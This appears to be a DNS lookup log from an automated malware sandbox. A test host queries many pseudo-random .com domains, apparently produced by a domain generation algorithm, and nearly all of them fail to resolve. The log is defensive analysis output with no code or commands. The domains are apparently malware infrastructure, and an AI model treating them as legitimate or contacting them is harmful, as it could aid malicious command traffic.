Nov 11, 2024 18:51:07.943564892 CET	1.1.1.1	192.168.2.6	0x7f42	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.945013046 CET	1.1.1.1	192.168.2.6	0x582e	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.945473909 CET	1.1.1.1	192.168.2.6	0x8406	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.963326931 CET	1.1.1.1	192.168.2.6	0x1733	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.964005947 CET	1.1.1.1	192.168.2.6	0xc2c7	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.974111080 CET	1.1.1.1	192.168.2.6	0xfafa	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.976567030 CET	1.1.1.1	192.168.2.6	0xbdf7	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.977247953 CET	1.1.1.1	192.168.2.6	0xd719	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.997510910 CET	1.1.1.1	192.168.2.6	0xac14	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.020136118 CET	1.1.1.1	192.168.2.6	0x3a99	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.096311092 CET	1.1.1.1	192.168.2.6	0x36e0	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.158955097 CET	1.1.1.1	192.168.2.6	0x8a23	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.202222109 CET	1.1.1.1	192.168.2.6	0x6e8f	Name error (3)	lymysud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.254054070 CET	1.1.1.1	192.168.2.6	0x2272	Name error (3)	qegyqug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.333683968 CET	1.1.1.1	192.168.2.6	0xc8e3	Name error (3)	gacyzaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.337599039 CET	1.1.1.1	192.168.2.6	0x4ba8	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.341346025 CET	1.1.1.1	192.168.2.6	0xe425	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.343458891 CET	1.1.1.1	192.168.2.6	0xaf6f	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.347964048 CET	1.1.1.1	192.168.2.6	0xe8e8	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.359297991 CET	1.1.1.1	192.168.2.6	0x8770	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.530711889 CET	1.1.1.1	192.168.2.6	0xdf37	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.531208038 CET	1.1.1.1	192.168.2.6	0x36be	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.560818911 CET	1.1.1.1	192.168.2.6	0x7393	Name error (3)	lyryfox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.563760996 CET	1.1.1.1	192.168.2.6	0x165d	Name error (3)	lygymyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.566637039 CET	1.1.1.1	192.168.2.6	0x9479	Name error (3)	gahyhys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.569845915 CET	1.1.1.1	192.168.2.6	0x99f9	Name error (3)	qetyfop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.570338964 CET	1.1.1.1	192.168.2.6	0x3fcb	Name error (3)	vofygaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.572057962 CET	1.1.1.1	192.168.2.6	0x463d	Name error (3)	volyquk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.573404074 CET	1.1.1.1	192.168.2.6	0xb6d8	Name error (3)	lygyged.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.573414087 CET	1.1.1.1	192.168.2.6	0x542b	Name error (3)	gacyroh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.578440905 CET	1.1.1.1	192.168.2.6	0xe760	Name error (3)	vocyrom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.580176115 CET	1.1.1.1	192.168.2.6	0xd8e6	Name error (3)	puvyxeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.586344004 CET	1.1.1.1	192.168.2.6	0x5e91	Name error (3)	qekykup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.587047100 CET	1.1.1.1	192.168.2.6	0x4b69	Name error (3)	puzywuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.594563007 CET	1.1.1.1	192.168.2.6	0x5ce4	Name error (3)	vowydic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.594575882 CET	1.1.1.1	192.168.2.6	0x612d	Name error (3)	pufymyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.594587088 CET	1.1.1.1	192.168.2.6	0xadc8	Name error (3)	ganypeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.594595909 CET	1.1.1.1	192.168.2.6	0xc284	Name error (3)	gaqydus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.598737001 CET	1.1.1.1	192.168.2.6	0x5456	Name error (3)	vocyzek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600279093 CET	1.1.1.1	192.168.2.6	0x8c40	Name error (3)	qetyvil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600555897 CET	1.1.1.1	192.168.2.6	0x9e6c	Name error (3)	gatyviw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.607402086 CET	1.1.1.1	192.168.2.6	0x91a0	Name error (3)	qeqysuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.607753038 CET	1.1.1.1	192.168.2.6	0x2b3	Name error (3)	puzylol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.609035969 CET	1.1.1.1	192.168.2.6	0x7cec	Name error (3)	vofymem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.611563921 CET	1.1.1.1	192.168.2.6	0x2f4a	Name error (3)	gadyfob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.612411976 CET	1.1.1.1	192.168.2.6	0xe90b	Name error (3)	qegyhev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.612654924 CET	1.1.1.1	192.168.2.6	0x8384	Name error (3)	gahyqub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.612665892 CET	1.1.1.1	192.168.2.6	0xdc22	Name error (3)	qedynaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.614099979 CET	1.1.1.1	192.168.2.6	0xf8e8	Name error (3)	lyvytan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.615771055 CET	1.1.1.1	192.168.2.6	0xce7b	Name error (3)	lykyjux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.615781069 CET	1.1.1.1	192.168.2.6	0x1cfc	Name error (3)	galykiz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.616183043 CET	1.1.1.1	192.168.2.6	0x4f04	Name error (3)	lyryvur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.620994091 CET	1.1.1.1	192.168.2.6	0x67d4	Name error (3)	vopybok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.621015072 CET	1.1.1.1	192.168.2.6	0xe84	Name error (3)	pujyjup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.621581078 CET	1.1.1.1	192.168.2.6	0x11ff	Name error (3)	vowycut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.631124020 CET	1.1.1.1	192.168.2.6	0xa4a9	Name error (3)	lyxylor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.631279945 CET	1.1.1.1	192.168.2.6	0x62	Name error (3)	volykit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.632184029 CET	1.1.1.1	192.168.2.6	0x9e5a	Name error (3)	vojyjyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.636888981 CET	1.1.1.1	192.168.2.6	0x6dee	Name error (3)	purycul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.637111902 CET	1.1.1.1	192.168.2.6	0x896a	Name error (3)	vonypyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.644059896 CET	1.1.1.1	192.168.2.6	0xb50	Name error (3)	lymyxex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.644077063 CET	1.1.1.1	192.168.2.6	0x8fb2	Name error (3)	pumypyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.644088030 CET	1.1.1.1	192.168.2.6	0xd125	Name error (3)	qedyfog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.644098043 CET	1.1.1.1	192.168.2.6	0xf306	Name error (3)	qeqyxyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.644103050 CET	1.1.1.1	192.168.2.6	0x4221	Name error (3)	puvytag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.657875061 CET	1.1.1.1	192.168.2.6	0x3e27	Name error (3)	qebyteg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:09.112818003 CET	1.1.1.1	192.168.2.6	0xf713	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.333103895 CET	1.1.1.1	192.168.2.6	0xdb5d	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.567137003 CET	1.1.1.1	192.168.2.6	0x7e35	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.569895983 CET	1.1.1.1	192.168.2.6	0x5893	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.573908091 CET	1.1.1.1	192.168.2.6	0x5cf1	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.574345112 CET	1.1.1.1	192.168.2.6	0xd529	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.575547934 CET	1.1.1.1	192.168.2.6	0x1d17	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.579687119 CET	1.1.1.1	192.168.2.6	0xb3fc	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.601156950 CET	1.1.1.1	192.168.2.6	0x5e2d	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.604321957 CET	1.1.1.1	192.168.2.6	0xb6bd	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.604691029 CET	1.1.1.1	192.168.2.6	0x4631	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.605432034 CET	1.1.1.1	192.168.2.6	0x7e09	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.605443954 CET	1.1.1.1	192.168.2.6	0x8154	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.606529951 CET	1.1.1.1	192.168.2.6	0xa3d2	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.606801033 CET	1.1.1.1	192.168.2.6	0x54a3	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.607244015 CET	1.1.1.1	192.168.2.6	0xd69e	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.613164902 CET	1.1.1.1	192.168.2.6	0x6715	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.625519991 CET	1.1.1.1	192.168.2.6	0xcf17	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.625581026 CET	1.1.1.1	192.168.2.6	0xf1f6	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.630069971 CET	1.1.1.1	192.168.2.6	0x63b1	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.659543037 CET	1.1.1.1	192.168.2.6	0x9de6	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.852099895 CET	1.1.1.1	192.168.2.6	0x1933	Name error (3)	puvywup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.873735905 CET	1.1.1.1	192.168.2.6	0xdc62	Name error (3)	lyvywux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.873773098 CET	1.1.1.1	192.168.2.6	0x3f98	Name error (3)	qetyxeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.874738932 CET	1.1.1.1	192.168.2.6	0x6687	Name error (3)	lymylij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.877029896 CET	1.1.1.1	192.168.2.6	0xe526	Name error (3)	gahyfow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.882324934 CET	1.1.1.1	192.168.2.6	0x72b6	Name error (3)	lyryxen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.886195898 CET	1.1.1.1	192.168.2.6	0x6e7d	Name error (3)	vojygok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.904750109 CET	1.1.1.1	192.168.2.6	0x88b0	Name error (3)	lygyfir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.908730984 CET	1.1.1.1	192.168.2.6	0x4ad7	Name error (3)	vocyquc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.912125111 CET	1.1.1.1	192.168.2.6	0xd4a2	Name error (3)	qexyqyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.915860891 CET	1.1.1.1	192.168.2.6	0xdf9f	Name error (3)	qegyfil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.915966034 CET	1.1.1.1	192.168.2.6	0x4969	Name error (3)	gaqyzoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.918556929 CET	1.1.1.1	192.168.2.6	0x7856	Name error (3)	gacyqys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.924700975 CET	1.1.1.1	192.168.2.6	0x9dc8	Name error (3)	puzymev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.927078962 CET	1.1.1.1	192.168.2.6	0x34a8	Name error (3)	qeqyloq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.928138018 CET	1.1.1.1	192.168.2.6	0xceba	Name error (3)	vowyzam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.936472893 CET	1.1.1.1	192.168.2.6	0xe69	Name error (3)	pufydul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.937375069 CET	1.1.1.1	192.168.2.6	0x6a	Name error (3)	qekyqyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.943907022 CET	1.1.1.1	192.168.2.6	0x645a	Name error (3)	pujygaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.192687035 CET	1.1.1.1	192.168.2.6	0xdb15	Name error (3)	vopydum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.245116949 CET	1.1.1.1	192.168.2.6	0x4faf	Name error (3)	gacykub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.245479107 CET	1.1.1.1	192.168.2.6	0x4777	Name error (3)	qegynap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.255423069 CET	1.1.1.1	192.168.2.6	0xaba8	Name error (3)	galyheh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.255621910 CET	1.1.1.1	192.168.2.6	0x8463	Name error (3)	gadyvis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.268965960 CET	1.1.1.1	192.168.2.6	0xe9ba	Name error (3)	purypyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.271100998 CET	1.1.1.1	192.168.2.6	0x1960	Name error (3)	gatycyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.272173882 CET	1.1.1.1	192.168.2.6	0x718f	Name error (3)	lyvylod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.272905111 CET	1.1.1.1	192.168.2.6	0x2762	Name error (3)	pufybop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.274144888 CET	1.1.1.1	192.168.2.6	0xb5bf	Name error (3)	gatyduh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.284285069 CET	1.1.1.1	192.168.2.6	0x763e	Name error (3)	lysyvud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.291173935 CET	1.1.1.1	192.168.2.6	0x5592	Name error (3)	vofybic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.294476032 CET	1.1.1.1	192.168.2.6	0x68ba	Name error (3)	vonyrot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.294487000 CET	1.1.1.1	192.168.2.6	0x2887	Name error (3)	qexykug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.411937952 CET	1.1.1.1	192.168.2.6	0xe562	Name error (3)	qeqytal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.418724060 CET	1.1.1.1	192.168.2.6	0xa2df	Name error (3)	qetysuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.422681093 CET	1.1.1.1	192.168.2.6	0x8885	Name error (3)	vojymet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.425457954 CET	1.1.1.1	192.168.2.6	0xa47e	Name error (3)	lyrysyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.432192087 CET	1.1.1.1	192.168.2.6	0x5c37	Name error (3)	gahynaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.432746887 CET	1.1.1.1	192.168.2.6	0x146b	Name error (3)	puvyliv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.433450937 CET	1.1.1.1	192.168.2.6	0xc685	Name error (3)	volyjym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.692084074 CET	1.1.1.1	192.168.2.6	0xeaa0	Name error (3)	vocykif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.231683016 CET	1.1.1.1	192.168.2.6	0xc378	Name error (3)	lyxyjun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.236881971 CET	1.1.1.1	192.168.2.6	0xd60c	Name error (3)	ganyriz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.236979008 CET	1.1.1.1	192.168.2.6	0xa7d8	Name error (3)	gaqypew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.237349033 CET	1.1.1.1	192.168.2.6	0x349	Name error (3)	lymytar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.305586100 CET	1.1.1.1	192.168.2.6	0x88b6	Name error (3)	pupycuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.306440115 CET	1.1.1.1	192.168.2.6	0xbc75	Name error (3)	qebylov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.307009935 CET	1.1.1.1	192.168.2.6	0xc1a7	Name error (3)	pumytol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.307384014 CET	1.1.1.1	192.168.2.6	0x9c90	Name error (3)	gadyduz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.308654070 CET	1.1.1.1	192.168.2.6	0xb5fa	Name error (3)	vowypek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.308924913 CET	1.1.1.1	192.168.2.6	0x9b83	Name error (3)	lykymyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.309056044 CET	1.1.1.1	192.168.2.6	0xcfa8	Name error (3)	ganyzas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.309432030 CET	1.1.1.1	192.168.2.6	0x91e	Name error (3)	lyxymed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.310429096 CET	1.1.1.1	192.168.2.6	0x89b3	Name error (3)	puryxag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.310535908 CET	1.1.1.1	192.168.2.6	0x21a0	Name error (3)	qebyrip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.311682940 CET	1.1.1.1	192.168.2.6	0x68f	Name error (3)	vofydut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.314287901 CET	1.1.1.1	192.168.2.6	0x4351	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.325062037 CET	1.1.1.1	192.168.2.6	0xcdbb	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.327688932 CET	1.1.1.1	192.168.2.6	0x39cd	Name error (3)	pupydig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.328372002 CET	1.1.1.1	192.168.2.6	0xe43e	Name error (3)	lykygaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.328663111 CET	1.1.1.1	192.168.2.6	0xb982	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.328879118 CET	1.1.1.1	192.168.2.6	0x7bf7	Name error (3)	qekyheq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.330868959 CET	1.1.1.1	192.168.2.6	0xecf4	Name error (3)	lygynox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.331181049 CET	1.1.1.1	192.168.2.6	0x8dcd	Name error (3)	pujymel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.331897974 CET	1.1.1.1	192.168.2.6	0x2e76	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.333733082 CET	1.1.1.1	192.168.2.6	0x6718	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.337476015 CET	1.1.1.1	192.168.2.6	0xb084	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.349616051 CET	1.1.1.1	192.168.2.6	0x5372	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.350943089 CET	1.1.1.1	192.168.2.6	0x7c62	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.351924896 CET	1.1.1.1	192.168.2.6	0x890b	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.352794886 CET	1.1.1.1	192.168.2.6	0x9e2e	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.353110075 CET	1.1.1.1	192.168.2.6	0x834b	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.369209051 CET	1.1.1.1	192.168.2.6	0xb67b	Name error (3)	vopycyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.405426025 CET	1.1.1.1	192.168.2.6	0x390a	Name error (3)	qedyvuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.405678034 CET	1.1.1.1	192.168.2.6	0xe6c5	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.409857988 CET	1.1.1.1	192.168.2.6	0xce1a	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.410773039 CET	1.1.1.1	192.168.2.6	0xc1e4	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.412077904 CET	1.1.1.1	192.168.2.6	0x9be	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.417659044 CET	1.1.1.1	192.168.2.6	0x4217	Name error (3)	puzyjyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.485918045 CET	1.1.1.1	192.168.2.6	0xd65a	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.488329887 CET	1.1.1.1	192.168.2.6	0xd39a	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.578509092 CET	1.1.1.1	192.168.2.6	0x9ea	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.596298933 CET	1.1.1.1	192.168.2.6	0x1074	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:13.657803059 CET	1.1.1.1	192.168.2.6	0x76ae	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.041646957 CET	1.1.1.1	192.168.2.6	0x5096	Name error (3)	qedysyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.086572886 CET	1.1.1.1	192.168.2.6	0x11c	Name error (3)	volymaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.141669989 CET	1.1.1.1	192.168.2.6	0xe74e	Name error (3)	gaqykus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.175889015 CET	1.1.1.1	192.168.2.6	0x8a1	Name error (3)	purylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.177206039 CET	1.1.1.1	192.168.2.6	0x78cb	Name error (3)	qegysyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.183469057 CET	1.1.1.1	192.168.2.6	0x9c85	Name error (3)	pufypeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.200932980 CET	1.1.1.1	192.168.2.6	0x9c61	Name error (3)	gatyzoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.208247900 CET	1.1.1.1	192.168.2.6	0x8952	Name error (3)	vowykuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.230279922 CET	1.1.1.1	192.168.2.6	0x1b84	Name error (3)	lygysen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.624336004 CET	1.1.1.1	192.168.2.6	0xd1eb	Name error (3)	gadycew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.626136065 CET	1.1.1.1	192.168.2.6	0xb8c	Name error (3)	vocyjet.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.626149893 CET	1.1.1.1	192.168.2.6	0xfa1e	Name error (3)	vofycyk.com	none	none	A (IP address)	IN (0x0001)	false
